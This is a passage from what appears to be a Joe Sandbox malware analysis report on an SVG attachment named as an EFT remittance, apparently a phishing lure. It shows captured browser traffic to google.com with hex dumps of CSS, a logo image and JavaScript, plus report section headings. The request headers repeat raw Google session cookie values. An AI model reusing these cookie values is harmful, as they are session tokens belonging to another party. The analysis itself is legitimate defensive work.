"10.0.0" Accept: text/css,/;q=0.1 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCL7VzgEIgdbOAQjI3M4BCLHezgEIiuDOAQiu5M4BCIvlzgE= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; NID=522=sFpEt6_z3PP3bpdWacVBiKdyCkMY4bKjcyk2S2Qc-HDFyJKUIezgDUHPQ3B3FJ9sicId9uGWXOx3NXrUoChZV8t2NDpGr4d9LbEtqHjDU_cuuqFvQc6Z7BOBRdFwI_FuNVhGd04i8kNxQiscR2AZvYUdQvBQUb1LCjPuDC6Grk7ejaVXms2UyMjs3wcEUGrgx3gl2y6m8Nl1OuSEaPR7ul8
2025-03-26 21:43:00 UTC	809	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Vary: Accept-Encoding, Origin Content-Type: text/css; charset=UTF-8 Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/gws-team Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="gws-team" Report-To: {"group":"gws-team","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws-team"}]} Content-Length: 2672 Date: Wed, 26 Mar 2025 21:43:00 GMT Expires: Thu, 26 Mar 2026 21:43:00 GMT Cache-Control: public, immutable, max-age=31536000 Last-Modified: Wed, 26 Mar 2025 16:26:34 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-03-26 21:43:00 UTC	188	IN	Data Raw: 3a 72 6f 6f 74 7b 2d 2d 43 4f 45 6d 59 3a 23 31 66 31 66 31 66 3b 2d 2d 78 68 55 47 77 63 3a 23 66 66 66 7d 3a 72 6f 6f 74 7b 2d 2d 76 5a 65 30 6a 62 3a 23 61 38 63 37 66 61 3b 2d 2d 6e 77 58 6f 62 62 3a 23 36 33 38 65 64 34 3b 2d 2d 56 75 5a 58 42 64 3a 23 30 30 31 64 33 35 3b 2d 2d 75 4c 7a 33 37 63 3a 23 35 34 35 64 37 65 3b 2d 2d 6a 49 4e 75 36 63 3a 23 30 30 31 64 33 35 3b 2d 2d 54 79 56 59 6c 64 3a 23 30 62 35 37 64 30 3b 2d 2d 5a 45 70 50 6d 64 3a 23 63 33 64 39 66 62 3b 2d 2d 51 57 61 61 61 66 3a 23 36 33 38 65 64 34 3b 2d 2d 44 45 65 53 74 66 3a 23 Data Ascii: :root{--COEmY:#1f1f1f;--xhUGwc:#fff}:root{--vZe0jb:#a8c7fa;--nwXobb:#638ed4;--VuZXBd:#001d35;--uLz37c:#545d7e;--jINu6c:#001d35;--TyVYld:#0b57d0;--ZEpPmd:#c3d9fb;--QWaaaf:#638ed4;--DEeStf:#
2025-03-26 21:43:00 UTC	997	IN	Data Raw: 66 35 66 38 66 66 3b 2d 2d 54 53 57 5a 49 62 3a 23 65 35 65 64 66 66 3b 2d 2d 42 52 4c 77 45 3a 23 64 33 65 33 66 64 3b 2d 2d 67 53 35 6a 58 62 3a 23 64 61 64 63 65 30 3b 2d 2d 41 71 6e 37 78 64 3a 23 64 32 64 32 64 32 3b 2d 2d 45 70 46 4e 57 3a 23 66 66 66 3b 2d 2d 58 71 62 6f 63 65 3a 23 31 66 31 66 31 66 3b 2d 2d 49 58 6f 78 55 65 3a 23 35 65 35 65 35 65 3b 2d 2d 62 62 51 78 41 62 3a 23 34 37 34 37 34 37 3b 2d 2d 59 4c 4e 4e 48 63 3a 23 31 66 31 66 31 66 3b 2d 2d 54 4d 59 53 39 3a 23 30 62 35 37 64 30 3b 2d 2d 4a 4b 71 78 32 3a 23 31 61 30 64 61 62 3b 2d 2d 72 72 4a 4a 55 63 3a 76 61 72 28 2d 2d 4e 73 6d 30 63 65 29 3b 2d 2d 6d 58 5a 6b 71 63 3a 23 64 32 64 32 64 32 3b 2d 2d 4e 73 6d 30 63 65 3a 23 30 62 35 37 64 30 3b 2d 2d 76 64 77 78 70 65 3a 23 61 Data Ascii: f5f8ff;--TSWZIb:#e5edff;--BRLwE:#d3e3fd;--gS5jXb:#dadce0;--Aqn7xd:#d2d2d2;--EpFNW:#fff;--Xqboce:#1f1f1f;--IXoxUe:#5e5e5e;--bbQxAb:#474747;--YLNNHc:#1f1f1f;--TMYS9:#0b57d0;--JKqx2:#1a0dab;--rrJJUc:var(--Nsm0ce);--mXZkqc:#d2d2d2;--Nsm0ce:#0b57d0;--vdwxpe:#a
2025-03-26 21:43:00 UTC	863	IN	Data Raw: 67 62 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 2e 79 4b 36 6a 71 65 2c 2e 57 75 30 76 39 62 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 2e 72 54 59 54 4e 62 7b 61 6e 69 6d 61 74 69 6f 6e 3a 67 2d 73 6e 61 63 6b 62 61 72 2d 68 69 64 65 20 2e 34 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 34 2c 30 2c 30 2e 32 2c 31 29 20 62 6f 74 68 3b 76 69 73 69 62 69 6c 69 74 79 3a 69 6e 68 65 72 69 74 7d 2e 55 65 77 50 4d 64 7b 61 6e 69 6d 61 74 69 6f 6e 3a 67 2d 73 6e 61 63 6b 62 61 72 2d 73 68 6f 77 20 2e 35 73 20 63 75 62 69 63 2d 62 65 7a Data Ascii: gb{box-sizing:border-box;visibility:hidden;display:inline-block}.yK6jqe,.Wu0v9b{box-sizing:border-box;visibility:hidden}.rTYTNb{animation:g-snackbar-hide .4s cubic-bezier(0.4,0,0.2,1) both;visibility:inherit}.UewPMd{animation:g-snackbar-show .5s cubic-bez
2025-03-26 21:43:00 UTC	624	IN	Data Raw: 66 74 7d 2e 62 37 37 48 4b 66 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 38 70 78 7d 2e 73 48 46 4e 59 64 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 30 70 78 7d 7d 2e 56 39 4f 31 59 64 20 2e 72 49 78 73 76 65 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 61 64 64 69 6e 67 3a 38 70 78 20 30 7d 2e 56 39 4f 31 59 64 20 2e 73 48 46 4e 59 64 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 7d 2e 56 39 4f 31 59 64 20 2e 73 48 46 4e 59 64 20 67 2d 66 6c 61 74 2d 62 75 74 74 6f 6e 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 7d 2e 6a 68 5a 76 6f 64 7b 6c 65 66 74 3a 31 36 70 78 3b 72 69 67 68 74 3a 61 75 74 6f 7d 2e 4c 48 33 77 47 2c 2e 4f 78 38 43 79 64 7b 6c 65 66 74 3a 30 3b 72 69 67 68 74 3a 30 7d 2e 79 4b 36 6a 71 65 2c 2e 57 75 30 76 39 62 2c 2e 45 37 48 64 67 Data Ascii: ft}.b77HKf{border-radius:8px}.sHFNYd{margin-left:40px}}.V9O1Yd .rIxsve{display:block;padding:8px 0}.V9O1Yd .sHFNYd{margin-left:0}.V9O1Yd .sHFNYd g-flat-button{padding-left:0}.jhZvod{left:16px;right:auto}.LH3wG,.Ox8Cyd{left:0;right:0}.yK6jqe,.Wu0v9b,.E7Hdg

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:43:00 UTC	1450	OUT	GET /images/branding/googlelogo/1x/googlelogo_color_272x92dp.png HTTP/1.1 Host: www.google.com Connection: keep-alive downlink: 0.35 sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-mobile: ?0 sec-ch-ua-form-factors: "Desktop" sec-ch-ua-wow64: ?0 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "134.0.6998.36" sec-ch-prefers-color-scheme: light User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 rtt: 350 sec-ch-ua-platform-version: "10.0.0" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCL7VzgEIgdbOAQjI3M4BCLHezgEIiuDOAQiu5M4BCIvlzgE= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; NID=522=sFpEt6_z3PP3bpdWacVBiKdyCkMY4bKjcyk2S2Qc-HDFyJKUIezgDUHPQ3B3FJ9sicId9uGWXOx3NXrUoChZV8t2NDpGr4d9LbEtqHjDU_cuuqFvQc6Z7BOBRdFwI_FuNVhGd04i8kNxQiscR2AZvYUdQvBQUb1LCjPuDC6Grk7ejaVXms2UyMjs3wcEUGrgx3gl2y6m8Nl1OuSEaPR7ul8
2025-03-26 21:43:00 UTC	671	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Type: image/png Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 5969 Date: Wed, 26 Mar 2025 21:43:00 GMT Expires: Wed, 26 Mar 2025 21:43:00 GMT Cache-Control: private, max-age=31536000 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-03-26 21:43:00 UTC	326	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 10 00 00 00 5c 08 06 00 00 00 a6 e7 ea b6 00 00 17 18 49 44 41 54 78 01 ed 5d 0b 94 1c 55 99 be 3a d3 81 c0 2e 82 c2 2a 82 08 12 10 90 05 92 aa 9a 84 90 d8 5d b7 7b b2 41 e2 41 81 28 b8 bb 0a 08 8a 1b 5c 84 98 05 e5 31 9a ae 9a 09 89 c0 02 0a 41 40 36 e1 81 06 17 10 1f 90 cc 24 01 f4 08 28 c8 43 58 58 7c 10 1e 64 fa 11 92 49 55 75 1e 99 64 7a ef b7 e6 b8 a4 b7 67 e6 bf d5 75 bb aa 87 fb 9d 73 4f e7 31 d3 d3 67 ea d6 57 ff fd ff ef ff 7e 16 07 66 76 ad db 2b ed 54 4c ee 7a a7 71 d7 9f 63 bb c1 65 b6 eb 3b dc f1 7b c4 df e7 8b bf 5f 22 d6 b9 d9 ee 60 56 da f5 8f 4e 77 55 77 67 1a 1a 1a ef 4c a4 7b 36 1f cc 9d ca 79 dc 0d ee b2 5d ff cf e2 b5 2a b3 32 79 6f bb 78 7d 5e 7c ef cd dc f5 ff 29 dd e5 ed cb Data Ascii: PNGIHDR\IDATx]U:.]{AA(\1A@6$(CXX\|dIUudzgusO1gW~fv+TLzqce;{_"`VNwUwgL{6y]2yox}^\|)
2025-03-26 21:43:00 UTC	997	IN	Data Raw: 6a 75 b4 c5 18 d3 b0 f3 1b a7 f2 7c f0 b0 2a a2 20 44 25 9b 6c d7 5f 80 fc 0a d3 d0 d0 04 d2 1a c8 5d 59 f9 a0 20 8e 1f e1 26 4e c4 72 bc 7e 24 67 99 86 86 26 90 04 a3 5a 7d 17 77 82 33 71 84 c0 8d 9b b4 05 52 4b 77 6d d8 9b 69 68 68 02 49 16 70 4c e0 6e b0 0c 37 6a a2 57 de 7f 25 db 13 4c 64 1a 1a 9a 40 92 81 dc fc 8d 87 71 37 78 29 09 04 41 cf 8d 78 a7 30 0d 0d 4d 20 89 48 94 ae 57 71 93 67 dc a0 68 bb de 6b 99 7c 50 c8 e4 bd 2d 51 97 7d a1 43 61 1a 1a 9a 40 e2 41 c6 f5 b3 19 d7 ab 44 90 9b f8 bd 78 bd 96 bb fe e9 76 4f 70 ec ac ae ea 1e f5 f2 2b d3 7a 06 f6 e1 4e a5 03 8a 54 db f5 6f 13 3f fb 8d b0 3f 13 25 65 08 d0 98 86 86 26 90 e6 23 9b f7 33 88 12 c2 de c0 50 9f da 4e 70 39 14 a9 8d 24 6d d3 4e 65 8a 20 b2 1b 33 79 3f d0 e4 a1 a1 09 a4 05 c0 5d ff Data Ascii: ju\|* D%l_]Y &Nr~$g&Z}w3qRKwmihhIpLn7jW%Ld@q7x)Ax0M HWqghk\|P-Q}Ca@ADxvOp+zNTo??%e&#3PNp9$mNe 3y?]
2025-03-26 21:43:00 UTC	997	IN	Data Raw: 65 ec 81 28 57 c9 5e b3 8d 3f 4b 3d b4 b2 dd 15 8b fa 4b 4d bb de 11 4c e3 af 28 db 1d bc c0 ad b5 f8 c5 ab 5e e2 49 f3 46 29 67 a6 59 84 10 f9 8b 8c c8 5d bc 89 9b 5c f5 42 fe 64 b0 af cd 66 11 02 37 38 77 bc 27 55 19 72 c3 0b 07 96 9a 49 22 90 62 7a e2 04 71 54 79 5e ed 5e b3 b6 15 b9 75 26 a3 c0 76 fd cf 11 43 bb cd ff a7 fd d0 28 71 eb 9c 82 6d 6c c7 2f bc 59 0b 3f af 68 9b 67 45 92 eb e8 4d 9d 2d 8e 18 db 71 73 37 6b e1 e7 09 c2 fa 72 54 b9 0e 18 70 c7 e3 f6 af 80 40 e8 f9 b5 72 f3 f6 9c 71 21 81 40 82 4b 68 6c 1c 3c c7 34 00 56 e6 d6 5c fc 82 63 5b dc fc 5a 83 f9 8e 0b 71 43 c7 b5 04 89 cc 6d b0 e5 62 12 77 83 0d d8 97 ef 14 02 e9 ef 34 8f 2e 64 cd f5 4d df 6b 39 eb dc d1 08 e4 2a 5a fe c3 ff 29 53 8c b8 37 c1 34 d7 db 6f f4 c8 a3 e3 8b f8 c5 c6 bd Data Ascii: e(W^?K=KML(^IF)gY]\Bdf78w'UrI"bzqTy^^u&vC(qml/Y?hgEM-qs7krTp@rq!@Khl<4V\c[ZqCmbw4.dMk9*Z)S74o
2025-03-26 21:43:00 UTC	997	IN	Data Raw: b2 de 63 45 ea 09 91 93 d8 8d 45 80 a1 5f b3 f1 22 2f f2 3b 6a 14 32 b4 62 fc b0 ee 76 f0 9f 21 b6 5a 78 c8 75 b0 08 20 f6 c2 8c 38 09 a4 cc 8d 2f 13 1f 20 3e c4 65 e1 1f 56 b3 db d0 80 57 b0 ad df d1 c8 ca 5a 1d 92 dd bd 41 9c 13 c7 76 0e c4 9f c3 6a 80 2e 59 e2 2f 76 ab 78 3d 9c 45 88 7e db fa 18 c8 a1 11 6d 08 34 17 c4 9b 78 8b 38 ea 1c c6 22 c4 96 be 71 47 51 ab 3e e8 fa ad 1f 0d f8 47 d3 95 a3 c1 b9 2c 42 a0 29 2f 2e 02 29 64 cd 47 89 d7 fd 02 16 02 a8 aa 14 b9 75 31 12 f1 b2 49 5a 1c 99 c3 5d a0 9e 8a c1 14 02 fd 0c 2a 16 7a 7d c2 5a 15 08 62 f8 0d 4d 97 61 7e 87 29 00 3a 73 89 1b e9 31 56 07 88 2a 88 47 89 85 4c 01 90 24 a5 46 3f f5 73 12 7e 9e 58 a2 7d 36 6a a5 34 77 2a 07 88 bd b3 b5 d9 04 82 fc 19 25 e7 86 84 3b 8e bb 32 9d bb 90 22 a0 77 0b 0f Data Ascii: cEE_"/;j2bv!Zxu 8/ >eVWZAvj.Y/vx=E~m4x8"qGQ>G,B)/.)dGu1IZ]z}ZbMa~):s1VGL$F?s~X}6j4w*%;2"w
2025-03-26 21:43:00 UTC	997	IN	Data Raw: 49 ac f3 61 20 b0 81 ad 5c a2 93 a7 f0 7e a0 85 c0 0b eb 37 19 99 4b 28 17 05 8a 51 b5 f6 89 93 26 d1 7b 62 e4 7b 60 d0 6c a7 7c 54 04 2d 99 bb a4 46 09 3a a7 d1 2e ea 88 1e ac ab 9a 49 20 d4 be 14 ea 82 8e 08 0f 97 02 37 3a d5 46 cb b8 e9 1c ef 37 12 d2 e1 97 09 03 79 62 01 54 a5 e4 2e dc f9 fe df 0f 43 20 57 d0 ea f1 a6 9a 61 5b f2 2e 68 97 d5 10 c8 15 94 1b 77 fb ca d4 19 8a 75 20 67 12 d5 b0 f3 43 3e d0 be a7 f2 9e c0 10 aa 66 12 08 a1 91 92 6e 60 c5 cd fc 5b 33 cc 0f b1 66 01 73 6f 25 4d 78 1e 22 f4 c8 34 15 e9 05 95 03 a9 dd 94 10 d1 0d 7f e3 9a a7 13 2f d6 0f 98 42 60 68 10 d1 bf f2 33 ec 6d d8 de 97 3a 9d 56 3e 6d bb 45 71 19 f7 0e ca e7 c0 e7 dd c5 81 2c bf f9 10 e2 3e 7c 89 29 42 6e be 77 64 93 85 64 d8 77 3d 0d 3a f8 3f 02 43 21 9a cc 5d 01 30 Data Ascii: Ia \~7K(Q&{b{`l\|T-F:.I 7:F7ybT.C Wa[.hwu gC>fn`[3fso%Mx"4/B`h3m:V>mEq,>\|)Bnwddw=:?C!]0
2025-03-26 21:43:00 UTC	997	IN	Data Raw: 34 92 ee 1e 98 c0 5d 6f 4d 04 c3 9b 06 a1 bd 80 fa d3 76 82 b3 73 79 6f 1a 8c 7c 60 1f 87 23 09 a2 15 7b fe c6 8f c2 62 00 ed dc 08 5f 6d 37 e8 a5 90 06 e1 58 75 19 0b 89 f2 0c e3 08 59 1b b8 9d b3 4c 2f 1f ed c9 80 6e 5b b8 4b 89 e8 65 83 24 79 6c a1 fa b0 62 74 82 c8 33 6c 95 9c 44 f7 96 20 92 4b 05 31 8c 78 14 85 21 32 44 6b 82 a4 36 48 be ff 56 7c 2e 46 00 72 21 3c 1f bc 28 97 d4 f7 36 71 c7 5b 84 07 e0 68 09 78 4c 27 c0 d7 27 6f b0 94 75 a6 6c 49 17 ba 21 e4 ee f0 60 19 6d 4f 8b 7d 77 9d cc be 46 34 22 88 ea e4 d0 02 2d 0c d9 4e d2 4c d2 66 f6 ee 14 b9 71 7e 58 7f 85 9d de aa d7 c3 a4 08 79 12 bc 62 a8 0f bc 1f 6a 4a 76 e4 85 44 9b a4 a0 eb fc 90 23 2d 77 88 2a c9 e3 f0 37 85 49 11 26 d5 e1 55 fc db f5 f0 32 c5 b1 27 cc fb 22 4f c2 24 00 4f de 5a 8f Data Ascii: 4]oMvsyo\|`#{b_m7XuYL/n[Ke$ylbt3lD K1x!2Dk6HV\|.Fr!<(6q[hxL''oulI!`mO}wF4"-NLfq~XybjJvD#-w*7I&U2'"O$OZ
2025-03-26 21:43:00 UTC	658	IN	Data Raw: 1c 8c b0 14 51 eb 32 62 b2 b5 8c 8a 1e 06 92 d1 7b 69 12 02 24 5f a1 10 4c 3b 95 29 38 6b da ae 77 0a 2c 04 30 c7 56 5c b4 99 99 ee ca 64 48 8b 63 f0 18 51 e2 aa 5e 4c 4f 9c 50 b6 3b 38 54 7c 25 db 38 03 af f8 3b fe 1d 1d 90 2c c1 00 21 08 73 a2 09 a2 67 85 0f f6 8e 3b 79 fb 8a d4 e7 b6 af 1c 37 1b 24 03 25 29 4a c3 2c c1 98 d6 33 b0 0f 1e 60 20 03 ec 31 ec b5 8c eb a5 73 0b 36 1d 34 4a e3 1d 08 e4 0b f4 a1 64 c9 02 a4 f0 82 4c 26 a2 57 aa c8 8d d3 e0 58 87 08 a3 3f 33 69 32 a2 65 c5 91 86 86 86 06 14 cc 04 02 59 c5 6a a1 a1 a1 a1 81 23 f7 68 04 82 3c 1f 6b 3d 68 68 68 20 bf 06 41 a3 aa f7 86 27 eb 18 9b 17 ad a1 a1 31 a3 6b e0 bd dc f5 e7 62 f2 20 ca a8 2a ca f8 e8 08 27 6a 46 4e 60 1a 1a 1a c9 07 3a 72 39 aa 2b ae b7 79 d7 9b d8 7f 00 09 d1 66 4f 27 80 Data Ascii: Q2b{i$_L;)8kw,0V\dHcQ^LOP;8T\|%8;,!sg;y7$%)J,3` 1s64JdL&WX?3i2eYj#h<k=hhh A'1kb *'jFN`:r9+yfO'

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report EFTRemittance_Anina_DTVZBMTIPD_attach.svg

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 124

Chrome Cache Entry: 125

Chrome Cache Entry: 126

Chrome Cache Entry: 127

Chrome Cache Entry: 128

Chrome Cache Entry: 129

Chrome Cache Entry: 130

Chrome Cache Entry: 131

Chrome Cache Entry: 132

Chrome Cache Entry: 133

Chrome Cache Entry: 134

Chrome Cache Entry: 135

Chrome Cache Entry: 136

Windows Analysis Report
EFTRemittance_Anina_DTVZBMTIPD_attach.svg

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:43:00 UTC	4053	OUT	GET /xjs/_/js/k=xjs.hd.en.mCEcQSPrsnc.es5.O/am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAQAQAAAACAAAAAEAAAEAAAAAAjACQQAAAEAAAAwAgAAAAAAwAAAAAAgAAAADAAwKOMAgACJAAAAAAAAACACwBAgAEABAAAAAAAAAAAAQAAAAAAAAEAAAAAAAAFAAAAAAAEAAAAAAAIAAACCAAAAAAAAAAAAAAAAADQAwAAAAAAAAAAAAAAAQAAYDBCARAAAAAAAADQA0DwAEMKCgAAAAAAAAAAAAAABEgQzIUECgIIAAAAAAAAAAAAAAAAAChpYqEB/d=1/ed=1/dg=3/br=1/rs=ACT90oGWbkpUuyQnygPG7oExy9ofyWeITg/ee=ALeJib:B8gLwd;AfeaP:TkrAjf;BMxAGc:E5bFse;BgS6mb:fidj5d;BjwMce:cXX2Wb;CxXAWb:YyRLvc;DMzTfb:fNTHad;DULqB:RKfG5c;Dkk6ge:JZmW9e;DpcR3d:zL72xf;EABSZ:MXZt9d;ESrPQc:mNTJvc;EVNhjf:pw70Gc;EjXHpb:pSHqh;EmZ2Bf:zr1jrb;EnlcNd:WeHg4;F9mqte:UoRcbe;Fmv9Nc:O1Tzwc;G0KhTb:LIaoZ;G6wU6e:hezEbd;GleZL:J1A7Od;HMDDWe:G8QUdb;HoYVKb:PkDN7e;HqeXPd:cmbnH;IBADCc:RYquRb;IoGlCf:b5lhvb;JXJSm:ii1RGf;JXS8fb:Qj0suc;JsbNhc:Xd8iUd;K5nYTd:ZDZcre;KOxcK:OZqGte;KQzWid:ZMKkN;KcokUb:KiuZBf;KpRAue:Tia57b;LBgRLc:SdcwHb,XVMNvd;LEikZe:byfTOb,lsjVmc;LXA8b:q7OdKd;LsNahb:ucGLNb;NPKaK:SdcwHb;NSEoX:lazG7b;Np8Qkd:Dpx6qc;Nyt6ic:jn2sGd;OgagBe:cNTe0;OohIYe:mpEA [TRUNCATED] Host: www.google.com Connection: keep-alive downlink: 0.35 sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-mobile: ?0 sec-ch-ua-form-factors: "Desktop" sec-ch-ua-wow64: ?0 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "134.0.6998.36" sec-ch-prefers-color-scheme: light User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 rtt: 350 sec-ch-ua-platform-version: "10.0.0" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCL7VzgEIgdbOAQjI3M4BCLHezgEIiuDOAQiu5M4BCIvlzgE= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; NID=522=sFpEt6_z3PP3bpdWacVBiKdyCkMY4bKjcyk2S2Qc-HDFyJKUIezgDUHPQ3B3FJ9sicId9uGWXOx3NXrUoChZV8t2NDpGr4d9LbEtqHjDU_cuuqFvQc6Z7BOBRdFwI_FuNVhGd04i8kNxQiscR2AZvYUdQvBQUb1LCjPuDC6Grk7ejaVXms2UyMjs3wcEUGrgx3gl2y6m8Nl1OuSEaPR7ul8
2025-03-26 21:43:00 UTC	831	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/gws-team Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="gws-team" Report-To: {"group":"gws-team","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws-team"}]} Content-Length: 1009073 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 26 Mar 2025 17:50:07 GMT Expires: Thu, 26 Mar 2026 17:50:07 GMT Cache-Control: public, immutable, max-age=31536000 Last-Modified: Wed, 26 Mar 2025 16:26:34 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding, Origin Age: 13973 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-03-26 21:43:00 UTC	166	IN	Data Raw: 74 68 69 73 2e 5f 68 64 3d 74 68 69 73 2e 5f 68 64 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 74 72 79 7b 0a 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 0a 2a 2f 0a 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 47 6f 6f 67 6c 65 20 4c 4c 43 Data Ascii: this._hd=this._hd\|\|{};(function(_){var window=this;try{/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0// Copyright Google LLC
2025-03-26 21:43:00 UTC	997	IN	Data Raw: 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 0a 2a 2f 0a 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 47 6f 6f 67 6c 65 2c 20 49 6e 63 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 4d 49 54 0a 2a 2f 0a 2f 2a 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 0a 2a 2f 0a 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 47 6f 6f 67 6c 65 20 4c 4c 43 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 0a 20 55 73 65 20 6f 66 20 74 68 69 73 20 73 6f 75 72 63 65 20 63 6f 64 65 20 69 73 20 67 6f 76 65 72 6e 65 64 20 62 79 20 61 6e 20 4d 49 54 2d 73 74 79 6c 65 20 6c 69 63 65 6e Data Ascii: 